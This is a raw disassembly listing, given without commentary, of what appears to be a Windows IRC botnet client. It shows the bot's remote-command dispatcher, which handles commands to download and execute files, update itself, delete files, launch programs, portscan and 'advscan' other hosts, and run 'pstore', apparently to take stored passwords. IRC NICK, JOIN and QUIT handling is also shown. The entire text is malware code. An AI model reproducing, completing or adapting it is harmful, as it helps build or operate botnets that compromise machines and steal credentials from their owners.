loc_404F5F:				; CODE XREF: sub_401C87+324Fj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405003
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_404FF0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FF0
		mov	edi, [ebp+esi+var_84]
		cmp	edi, ebx
		jz	short loc_404FF0
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_404FF0
		push	eax
		call	sub_417960
		pop	ecx
		push	eax
		push	edi
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_40FE41
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jnz	short loc_404FE9
		push	[ebp+esi+var_8C]
		push	offset unk_439294
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	short loc_405003
; ---------------------------------------------------------------------------


loc_404FE9:				; CODE XREF: sub_401C87+3349j
		push	offset unk_4392C0
		jmp	short loc_404FFB
; ---------------------------------------------------------------------------


loc_404FF0:				; CODE XREF: sub_401C87+32F6j
					; sub_401C87+32FFj ...
		push	offset unk_4392F4
		lea	eax, [ebp+var_2C8]


loc_404FFB:				; CODE XREF: sub_401C87+3367j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_405003:				; CODE XREF: sub_401C87+32E9j
					; sub_401C87+3360j
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA0
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4050A4
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_4050A4
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_4050A4
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_4050A4
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_4050A4
		push	esi
		call	sub_417960
		pop	ecx
		push	eax
		push	edi
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41003A
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jnz	short loc_40509A
		push	[ebp+arg_0]
		push	offset unk_439334
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_40509A:				; CODE XREF: sub_401C87+3404j
		push	offset unk_439360
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_4050A4:				; CODE XREF: sub_401C87+339Fj
					; sub_401C87+33ADj ...
		push	offset dword_4393A0
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_4050AE:				; CODE XREF: sub_401C87+2CCCj
					; sub_401C87+2CE1j
		push	offset word_4393DE
		push	[ebp+arg_10]
		call	sub_4176E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		jz	short loc_40512C
		mov	esi, 200h
		push	edi
		push	esi
		push	eax
		call	sub_4186C0
		add	esp, 0Ch
		jmp	short loc_405106
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: sub_401C87+3481j
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	edi
		lea	eax, [ebp+var_2C8]
		push	esi
		push	eax
		call	sub_4186C0
		add	esp, 20h


loc_405106:				; CODE XREF: sub_401C87+3452j
		test	eax, eax
		jnz	short loc_4050DB
		push	edi
		call	sub_414F40
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset unk_4393E0
		push	eax
		call	sub_417CB0
		add	esp, 10h
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_40512C:				; CODE XREF: sub_401C87+3440j
		push	[ebp+arg_10]
		push	offset dword_439404
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_405139:				; CODE XREF: sub_401C87+2CA2j
					; sub_401C87+2CB7j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40743C
		push	offset word_439426
		push	esi
		call	sub_418880
		push	esi
		call	sub_413B98
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jnz	short loc_40517E
		push	offset unk_439428
		jmp	short loc_4051CA
; ---------------------------------------------------------------------------


loc_40517E:				; CODE XREF: sub_401C87+34EEj
		push	esi
		push	offset dword_439454
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	short loc_4051F3
; ---------------------------------------------------------------------------


loc_40518F:				; CODE XREF: sub_401C87+2C78j
					; sub_401C87+2C8Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40743C
		push	eax
		call	sub_411C15
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C8]
		jnz	short loc_4051C5
		push	offset unk_43946C
		jmp	short loc_4051CA
; ---------------------------------------------------------------------------


loc_4051C5:				; CODE XREF: sub_401C87+3535j
		push	offset dword_43948C


loc_4051CA:				; CODE XREF: sub_401C87+34F5j
					; sub_401C87+353Cj
		push	eax
		call	sub_417CB0
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_4051F3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_4051F3:				; CODE XREF: sub_401C87+3183j
					; sub_401C87+3195j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		pop	ecx
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_405205:				; CODE XREF: sub_401C87+2C4Ej
					; sub_401C87+2C63j
		push	7Fh
		lea	eax, [ebp+var_CF0]
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_405236
		push	7Fh
		lea	eax, [ebp+var_C70]
		push	esi
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_405236:				; CODE XREF: sub_401C87+359Bj
		push	7Fh
		lea	eax, [ebp+var_BF0]
		push	[ebp+var_8C]
		push	eax
		call	sub_417760
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_CF4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B68], eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4394A8
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ch
		push	eax
		call	sub_409663
		add	esp, 24h
		mov	[ebp+var_B70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_CF4]
		push	ebx
		push	eax
		push	offset sub_414C86
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_B70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_4052E8
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4394C0


loc_4052CC:				; CODE XREF: sub_401C87+2481j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_401C87+3667j
		push	32h
		call	dword_4E033C	; Sleep


loc_4052E8:				; CODE XREF: sub_401C87+3637j
		cmp	[ebp+var_B64], ebx
		jz	short loc_4052E0
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_4052F5:				; CODE XREF: sub_401C87+2C24j
					; sub_401C87+2C39j
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40E08D
		push	[ebp+arg_10]
		push	offset dword_439500
		jmp	loc_407126
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_401C87+2BFAj
					; sub_401C87+2C0Fj
		push	14h
		lea	eax, [ebp+var_1168]
		push	ebx
		push	eax
		call	sub_417700
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1154]
		push	offset dword_439518
		push	eax
		call	sub_417CB0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1170],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_1050]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FC8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FC4], eax
		lea	eax, [ebp+var_1050]
		push	eax
		lea	eax, [ebp+var_1154]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_43951C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ah
		push	eax
		call	sub_409663
		add	esp, 40h
		mov	[ebp+var_FCC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1170]
		push	ebx
		push	eax
		push	offset sub_410673
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_FCC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_4053E9
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439540
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_4053E1:				; CODE XREF: sub_401C87+3768j
		push	32h
		call	dword_4E033C	; Sleep


loc_4053E9:				; CODE XREF: sub_401C87+3747j
		cmp	[ebp+var_FC0], ebx
		jz	short loc_4053E1
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_401C87+2BD0j
					; sub_401C87+2BE5j
		push	[ebp+arg_10]
		call	dword_4E0344	; DeleteFileA
		test	eax, eax
		jz	short loc_40540D
		push	[ebp+arg_10]
		push	offset dword_43957C
		jmp	short loc_405418
; ---------------------------------------------------------------------------


loc_40540D:				; CODE XREF: sub_401C87+377Aj
		push	offset dword_439598
		call	sub_411B50
		push	eax


loc_405418:				; CODE XREF: sub_401C87+3784j
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_417E80
		jmp	loc_4054FB
; ---------------------------------------------------------------------------


loc_40542E:				; CODE XREF: sub_401C87+2BA6j
					; sub_401C87+2BBBj
		push	[ebp+arg_10]
		call	sub_417960
		push	eax
		call	sub_413B11
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2C8]
		jnz	short loc_405455
		push	offset unk_4395A4
		jmp	short loc_40545A
; ---------------------------------------------------------------------------


loc_405455:				; CODE XREF: sub_401C87+37C5j
		push	offset unk_4395C8


loc_40545A:				; CODE XREF: sub_401C87+37CCj
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_405EC4
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h
		jmp	loc_405EC4
; ---------------------------------------------------------------------------


loc_40548D:				; CODE XREF: sub_401C87+2B7Cj
					; sub_401C87+2B91j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4137F3
		add	esp, 18h
		cmp	eax, 1
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_10]
		jnz	short loc_4054B9
		push	offset unk_4395F8
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_4054B9:				; CODE XREF: sub_401C87+3826j
		push	offset unk_439618
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_401C87+2B52j
					; sub_401C87+2B67j
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4D66A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_405503
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_4D6620	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_405524
		push	dword ptr [eax]
		push	esi
		push	offset unk_439648


loc_4054EF:				; CODE XREF: sub_401C87+389Bj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0


loc_4054FB:				; CODE XREF: sub_401C87+37A2j
		add	esp, 10h
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_405503:				; CODE XREF: sub_401C87+384Cj
		push	esi
		call	dword_4D66EC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_405524
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		push	esi
		push	offset unk_439668
		jmp	short loc_4054EF
; ---------------------------------------------------------------------------


loc_405524:				; CODE XREF: sub_401C87+385Ej
					; sub_401C87+3885j
		push	offset unk_439688
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_40552E:				; CODE XREF: sub_401C87+2B28j
					; sub_401C87+2B3Dj
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_417760
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset unk_4396B0
		push	eax
		call	sub_417CB0
		add	esp, 18h
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_405557:				; CODE XREF: sub_401C87+2AFEj
					; sub_401C87+2B13j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4D65D4	; ShellExecuteA
		push	[ebp+arg_10]
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_405581
		push	offset unk_4396E0
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_405581:				; CODE XREF: sub_401C87+38EEj
		push	offset unk_439700
		jmp	loc_405E97
; ---------------------------------------------------------------------------


loc_40558B:				; CODE XREF: sub_401C87+2AD4j
					; sub_401C87+2AE9j
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_437098, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_439724
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_4055A4:				; CODE XREF: sub_401C87+2AAAj
					; sub_401C87+2ABFj
		push	[ebp+arg_10]
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40743C
		push	[ebp+arg_10]
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_409361
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset aS_24	; "%s\r\n"
		jmp	loc_407050
; ---------------------------------------------------------------------------


loc_4055FF:				; CODE XREF: sub_401C87+2A80j
					; sub_401C87+2A95j
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40622C
		push	esi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40622C
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	esi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_407604
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_4E033C	; Sleep
		push	esi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	dword_4D6700	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495B4[eax]
		call	dword_4E0378	; TerminateThread
		push	esi
		call	sub_417960
		imul	eax, 234h
		push	esi
		mov	dword_4495B4[eax], ebx
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4493A0[eax], bl
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_401C87+2A56j
					; sub_401C87+2A6Bj
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056EC
		call	sub_409826
		cmp	eax, ebx
		jle	short loc_4056D4
		push	eax
		push	offset unk_439770
		jmp	loc_40606C
; ---------------------------------------------------------------------------


loc_4056D4:				; CODE XREF: sub_401C87+3A40j
		push	offset unk_439798


loc_4056D9:				; CODE XREF: sub_401C87+1FBCj
					; sub_401C87+1FDBj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_40607B
; ---------------------------------------------------------------------------


loc_4056EC:				; CODE XREF: sub_401C87+3A37j
		mov	eax, [ebp+var_A8]
		lea	esi, [eax+1]
		jmp	short loc_405763
; ---------------------------------------------------------------------------


loc_4056F7:				; CODE XREF: sub_401C87+3ADFj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40622C
		push	edi
		call	sub_417960
		push	eax
		call	sub_40979E
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2C8]
		jz	short loc_405726
		push	offset unk_4397C0
		jmp	short loc_40572B
; ---------------------------------------------------------------------------


loc_405726:				; CODE XREF: sub_401C87+3A96j
		push	offset unk_4397E4


loc_40572B:				; CODE XREF: sub_401C87+3A9Dj
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_405755
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_405755:				; CODE XREF: sub_401C87+3AB0j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		pop	ecx
		inc	esi


loc_405763:				; CODE XREF: sub_401C87+3A6Ej
		cmp	esi, 20h
		jb	short loc_4056F7
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_40576D:				; CODE XREF: sub_401C87+2A2Cj
					; sub_401C87+2A41j
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40743C
		push	esi
		push	offset aS_25	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	esi
		push	offset dword_439818
		jmp	short loc_4057F9
; ---------------------------------------------------------------------------


loc_4057A3:				; CODE XREF: sub_401C87+2A02j
					; sub_401C87+2A17j
		push	[ebp+arg_10]
		push	offset dword_439834
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		push	offset unk_439840
		jmp	short loc_4057F9
; ---------------------------------------------------------------------------


loc_4057BD:				; CODE XREF: sub_401C87+29D8j
					; sub_401C87+29EDj
		push	[ebp+esi+var_8C]
		push	[ebp+arg_10]
		push	offset aJoinSS_1 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		push	offset unk_439874
		jmp	loc_407126
; ---------------------------------------------------------------------------


loc_4057E1:				; CODE XREF: sub_401C87+29AEj
					; sub_401C87+29C3j
		push	[ebp+arg_10]
		push	offset aNickS_1	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		push	offset unk_4398A4


loc_4057F9:				; CODE XREF: sub_401C87+3B1Aj
					; sub_401C87+3B34j ...
		call	sub_40F99B


loc_4057FE:				; CODE XREF: sub_401C87+5638j
		add	esp, 14h
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_405806:				; CODE XREF: sub_401C87+2984j
					; sub_401C87+2999j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset unk_4398E0
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		push	[ebp+arg_10]
		call	sub_417960
		add	esp, 1Ch


loc_40583E:				; CODE XREF: sub_401C87+3C03j
		push	eax
		call	dword_4E033C	; Sleep


loc_405845:				; CODE XREF: sub_401C87+2595j
		xor	eax, eax
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_40584C:				; CODE XREF: sub_401C87+295Aj
					; sub_401C87+296Fj
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset unk_43991C
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		push	[ebp+arg_10]
		call	sub_417960
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_40583E
; ---------------------------------------------------------------------------


loc_40588C:				; CODE XREF: sub_401C87+2930j
					; sub_401C87+2945j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_8B0], eax
		lea	eax, [ebp+var_8AC]
		push	eax
		call	sub_418870
		push	offset aModdd	; "Moddd"
		lea	eax, [ebp+var_2C8]
		push	offset aExecutedPstore ; "Executed pstore"
		push	eax
		call	sub_417CB0
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4058E1
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_4058E1:				; CODE XREF: sub_401C87+3C3Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		pop	ecx
		lea	eax, [ebp+var_8B0]
		push	ebx
		push	ebx
		push	eax
		push	offset loc_408986
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread


loc_405904:				; CODE XREF: sub_401C87+30F9j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40622C
		push	edi
		push	offset aKilllog	; "killlog"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073D3
		push	edi
		push	offset aKl	; "kl"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073D3
		push	edi
		push	offset aAddalias ; "addalias"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407390
		push	edi
		push	offset aAa	; "aa"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407390
		push	edi
		push	offset aPrivmsg_1 ; "privmsg"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407336
		push	edi
		push	offset aPm	; "pm"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407336
		push	edi
		push	offset aAction	; "action"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072C4
		push	edi
		push	offset aA	; "a"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4072C4
		push	edi
		push	offset aCycle	; "cycle"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40725C
		push	edi
		push	offset aCy	; "cy"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40725C
		push	edi
		push	offset aMode	; "mode"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407223
		push	edi
		push	offset aM	; "m"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407223
		push	edi
		push	offset aC_raw	; "c_raw"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B5
		push	edi
		push	offset aC_r	; "c_r"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B5
		push	edi
		push	offset aC_mode	; "c_mode"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407130
		push	edi
		push	offset aC_m	; "c_m"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407130
		push	edi
		push	offset aC_nick	; "c_nick"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070BF
		push	edi
		push	offset aC_n	; "c_n"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070BF
		push	edi
		push	offset aC_join	; "c_join"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706F
		push	edi
		push	offset aC_j	; "c_j"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706F
		push	edi
		push	offset aC_part	; "c_part"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407009
		push	edi
		push	offset aC_p	; "c_p"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407009
		push	edi
		push	offset aUpdate	; "update"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E7A
		push	edi
		push	offset aUp_0	; "up"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E7A
		push	edi
		push	offset aExecute	; "execute"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406DDF
		push	edi
		push	offset aE	; "e"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406DDF
		push	edi
		push	offset aFindfile ; "findfile"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD1
		push	edi
		push	offset aFf	; "ff"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD1
		push	edi
		push	offset aRename	; "rename"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C7C
		push	edi
		push	offset aMv	; "mv"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C7C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40622C
		push	edi
		push	offset aClone_0	; "clone"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B90
		push	edi
		push	offset aC	; "c"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B90
		push	edi
		push	offset aDownload ; "download"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A52
		push	edi
		push	offset aDl	; "dl"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A52
		push	edi
		push	offset aRedirect ; "redirect"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406957
		push	edi
		push	offset aRd	; "rd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406957
		push	edi
		push	offset aScan_1	; "scan"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406863
		push	edi
		push	offset aSc	; "sc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406863
		push	edi
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406789
		push	edi
		push	offset aC_pm	; "c_pm"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406789
		push	edi
		push	offset aC_action ; "c_action"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406672
		push	edi
		push	offset aC_a	; "c_a"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406672
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	loc_40622C
		push	edi
		push	offset aPortscan ; "portscan"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40656B
		push	edi
		push	offset aPsc	; "psc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40656B
		push	edi
		push	offset aAdvscan	; "advscan"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060AD
		push	edi
		push	offset aAsc	; "asc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060AD
		push	edi
		push	offset aNetsend	; "netsend"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F2E
		push	edi
		push	offset aNs	; "ns"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F2E
		push	edi
